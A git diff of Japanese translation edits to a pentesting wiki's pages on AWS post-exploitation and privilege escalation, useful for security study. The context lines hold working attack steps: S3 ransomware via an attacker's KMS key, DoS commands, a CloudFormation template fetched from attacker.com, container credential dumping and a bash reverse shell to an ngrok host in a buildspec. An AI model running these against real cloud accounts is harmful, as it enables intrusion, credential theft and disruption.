+バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその構成を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除(MFA削除)が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進むことができます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェアにするのはより困難になります。 AWS APIを使用して、攻撃者は**バケット内の各オブジェクトを自分のKMSキーを使用して暗号化されたコピーに置き換えます**。これにより、バケット内のデータが暗号化され、キーなしではアクセスできなくなります。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 726d65810..9d9ec1856 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,11 +12,11 @@ ### Read Secrets -**シークレット自体は機密情報です**、[特権昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。 +**シークレット自体は機密情報です**、[権限昇格ページを確認してください](../aws-privilege-escalation/aws-secrets-manager-privesc.md) それらを読む方法を学ぶために。 ### DoS Change Secret Value -シークレットの値を変更すると、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。** +シークレットの値を変更することで、その値に依存する**すべてのシステムにDoSを引き起こす可能性があります。** > [!WARNING] > 前の値も保存されているため、簡単に前の値に戻ることができます。 @@ -32,7 +32,7 @@ aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS シークレットの削除 +### DoSによるシークレットの削除 シークレットを削除するための最小日数は7日です。 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index f04a7b983..884e1d3a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -4,7 +4,7 @@ ## SES -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-ses-enum.md @@ -33,7 +33,7 @@ aws ses send-raw-email --raw-message file://message.json ```bash aws ses send-templated-email --source --destination --template ``` -まだテスト中です。 +まだテストする必要があります。 ### `ses:SendBulkTemplatedEmail` @@ -55,7 +55,7 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -まだテスト中です。 +まだテストする必要があります。 ### `ses:SendCustomVerificationEmail` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 8ac87ab71..e0911b697 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -32,7 +32,7 @@ aws sns publish --topic-arn --message ### `sns:SetTopicAttributes` -攻撃者はSNSトピックの属性を変更することができ、これによりそのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。 +攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。 ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` @@ -45,7 +45,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` -**潜在的な影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。 +**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。 ### `sns:AddPermission` , `sns:RemovePermission` @@ -58,7 +58,7 @@ aws sns remove-permission --topic-arn --label ### `sns:TagResource` , `sns:UntagResource` -攻撃者はSNSリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、およびアクセス制御ポリシーを混乱させる可能性があります。 +攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。 ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 1c0b6df10..d49199b6d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -12,12 +12,12 @@ ### `sqs:SendMessage` , `sqs:SendMessageBatch` -攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信し、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。 +攻撃者は、SQS キューに悪意のあるまたは不要なメッセージを送信することで、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させる可能性があります。 ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 +**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -27,7 +27,7 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、影響を受けたメッセージに依存するアプリケーションのサービス中断。 +**潜在的な影響**: 機密情報の盗難、メッセージの損失、データの破損、および影響を受けたメッセージに依存するアプリケーションのサービス中断。 ### `sqs:DeleteQueue` @@ -64,7 +64,7 @@ aws sqs untag-queue --queue-url --tag-keys ### `sqs:RemovePermission` -攻撃者は、SQSキューに関連付けられたポリシーを削除することによって、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能に混乱を引き起こす可能性があります。 +攻撃者は、SQSキューに関連付けられたポリシーを削除することで、正当なユーザーやサービスの権限を取り消すことができます。これにより、キューに依存するアプリケーションの正常な機能が妨げられる可能性があります。 ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index cf34dcf74..b15d0916c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO & identitystore ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## SSO & identitystore -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,7 +12,7 @@ ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -これらの権限は、権限を妨害するために使用できます: +これらの権限は、権限を妨害するために使用できます: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 5eead4a65..e890e2888 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **潜在的な影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。 +- **潜在的影響**: 重要なワークフローの中断、データ損失、および運用のダウンタイム。 ### `states:UpdateMapRun` -この権限を持つ攻撃者は、Map Runの失敗設定と並列設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。 +この権限を持つ攻撃者は、Map Runの失敗設定と並行設定を操作でき、許可される子ワークフロー実行の最大数を増減させることができ、サービスのパフォーマンスに直接影響を与えます。さらに、攻撃者は許容される失敗率とカウントを改ざんでき、この値を0に減少させることができるため、アイテムが失敗するたびに全体のマップランが失敗し、状態マシンの実行に直接影響を与え、重要なワークフローを中断させる可能性があります。 ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` @@ -45,18 +45,18 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] > このアクションは**エクスプレスステートマシン**ではサポートされていません。 ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **潜在的な影響**: 継続中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。 +- **潜在的な影響**: 進行中のワークフローの中断、運用のダウンタイム、及び潜在的なデータの破損。 ### `states:TagResource`, `states:UntagResource` -攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。 +攻撃者は、Step Functionsリソースからタグを追加、変更、または削除することができ、組織のコスト配分、リソース追跡、及びタグに基づくアクセス制御ポリシーを混乱させる可能性があります。 ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 9185fb27f..cd23a6a3f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -4,20 +4,20 @@ ## STS -詳細情報については: +詳細情報: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### IAMクレデンシャルからコンソールへ +### IAM クレデンシャルからコンソールへ -IAMクレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\ +IAM クレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\ ユーザー/ロールは**`sts:GetFederationToken`**の権限を持っている必要があります。 #### カスタムスクリプト -次のスクリプトは、デフォルトプロファイルとデフォルトのAWSロケーション(政府および中国以外)を使用して、ウェブコンソールにログインするために使用できる署名付きURLを提供します: +次のスクリプトは、デフォルトプロファイルとデフォルトの AWS ロケーション(政府および中国以外)を使用して、ウェブコンソールにログインするために使用できる署名付き URL を提供します: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler -[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)を使用して**ウェブコンソールリンクを生成**できます。 +**ウェブコンソールリンクを生成**できます [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -65,11 +64,11 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> IAMユーザーが`sts:GetFederationToken`権限を持っていることを確認するか、引き受けるロールを提供してください。 +> IAMユーザーが `sts:GetFederationToken` 権限を持っていることを確認するか、引き受けるロールを提供してください。 #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault)は、開発環境でAWSの認証情報を安全に保存し、アクセスするためのツールです。 +[**aws-vault**](https://github.com/99designs/aws-vault) は、開発環境でAWSの資格情報を安全に保存し、アクセスするためのツールです。 ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **PythonからのUser-Agent制限のバイパス** -**ユーザーエージェントに基づいて特定のアクションを実行する制限**がある場合(ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど)、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続する**ことが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更する**こともできます: +**ユーザーエージェント**に基づいて特定のアクションを実行する制限がある場合(ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど)、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続**することが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更**することもできます。 ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index cb47ee619..4eb4ebe13 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -4,7 +4,7 @@ ## VPN -詳細情報については: +詳細情報: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index 5e030755b..8007b21fd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -10,8 +10,8 @@ AWSで権限を昇格させる方法は、他のロール/ユーザー/グルー > AWSには、エンティティに付与できる**数百**(場合によっては数千)の**権限**があります。この本では、**権限を昇格させるために悪用できるすべての権限**を見つけることができますが、ここに記載されていない**パスを知っている**場合は、**共有してください**。 > [!CAUTION] -> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合...それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\ -> したがって、これは主体に**特権のある権限を付与する**別の方法であることを覚えておいてください。 +> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合... それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\ +> したがって、これは主体に**特権的な権限を付与する**別の方法であることを覚えておいてください。 **このセクションのページはAWSサービスによって整理されています。そこでは、権限を昇格させることができる権限を見つけることができます。** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 291845a32..92abd0f71 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -16,20 +16,20 @@ ```bash aws --region apigateway create-api-key ``` -**潜在的影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。 +**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。 ### `apigateway:GET` -この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます(地域ごと)。 +この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます(リージョンごと)。 ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**潜在的な影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。 +**潜在的な影響:** この技術では特権昇格はできませんが、機密情報にアクセスできる可能性があります。 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます(脆弱なラムダを呼び出すなど)。 +これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます(脆弱なlambdaを呼び出すなど)。 ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ @@ -42,7 +42,7 @@ aws apigateway update-rest-api \ > [!NOTE] > テストが必要です -`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。 +`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を持つ既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。 ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > テストが必要 -`apigateway:UpdateAuthorizer`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。 +`apigateway:UpdateAuthorizer` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックをバイパスしたり、APIリクエストが行われる際に任意のコードを実行したりすることができます。 ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > テストが必要 -`apigateway:UpdateVpcLink`の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。 +`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。 ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 590c3b9b4..36d578838 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -Cloudformationに関する詳細情報は、以下を確認してください: +cloudformationに関する詳細情報は、以下を確認してください: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,23 +12,23 @@ Cloudformationに関する詳細情報は、以下を確認してください: ### `iam:PassRole`, `cloudformation:CreateStack` -これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することにより、**権限を昇格させることができます:** +これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます: ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例** があります: +以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。 +**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -この場合、**既存のcloudformationスタックを悪用**してそれを更新し、前のシナリオのように権限を昇格させることができます: +この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -43,7 +43,7 @@ aws cloudformation update-stack \ ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -この権限を持っているが、**`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。 +この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。 `cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 @@ -79,13 +79,13 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与える** ことができ、攻撃を実行できます。 **潜在的な影響:** cloudformation サービスロールへの権限昇格。 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**既にアタッチされているものを悪用**することができます。パラメータを変更するだけです: +これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです: ``` --change-set-type UPDATE ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index 3000914e5..02853e25b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -55,14 +55,14 @@ } } ``` -次に**cloudformationスタックを生成**します: +次に**CloudFormationスタックを生成**します: ```bash aws cloudformation create-stack --stack-name privesc \ --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**数分待って** スタックが生成されるのを待ち、その後 **出力を取得** します スタックの **資格情報が保存されている** ところ: +**数分待って** スタックが生成されるのを待ち、次に **出力を取得** します スタックの **資格情報が保存されている** ところ: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 3ba740463..9092b1da0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -詳細情報は以下を参照してください: +詳細情報は以下を参照してください: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,7 +12,7 @@ ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です: +これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です: {{#tabs }} {{#tab name="StartBuild" }} @@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project {{#endtab }} {{#endtabs }} -**潜在的な影響:** どのAWS Codebuildロールへの直接的な権限昇格。 +**潜在的影響:** 任意のAWS Codebuildロールへの直接的な権限昇格。 > [!WARNING] > **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。 -> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、**認証情報にアクセスするためのURLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、認証情報にアクセスするための**URLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。 @@ -270,7 +270,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project **SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。** -Codebuildプロジェクトにはブレークポイントが必要です: +Codebuildプロジェクトにはブレークポイントが必要です:
phases:
 pre_build:
@@ -280,18 +280,18 @@ commands:
       - codebuild-breakpoint
 
-そして: +そして次に: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` -For more info [**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 +詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。 -### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` +### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)、`s3:GetObject`、`s3:PutObject` -特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。 +特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。 -注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。 +注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。 ```bash aws s3 cp s3:///buildspec.yml ./ @@ -308,7 +308,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -あなたはこのような**buildspec**を使用して**reverse shell**を取得できます: +このような **buildspec** を使用して **reverse shell** を取得できます: ```yaml:buildspec.yml version: 0.2 @@ -317,13 +317,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。 +**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な特権昇格で、通常は高い権限を持っています。 > [!WARNING] -> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。 +> buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。 -詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。 +詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。 -**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。 +**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な特権昇格。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 2c7ceb8d0..96b38ff3a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -Codepipelineに関する詳細情報は以下を確認してください: +codepipelineに関する詳細情報は以下を確認してください: {{#ref}} 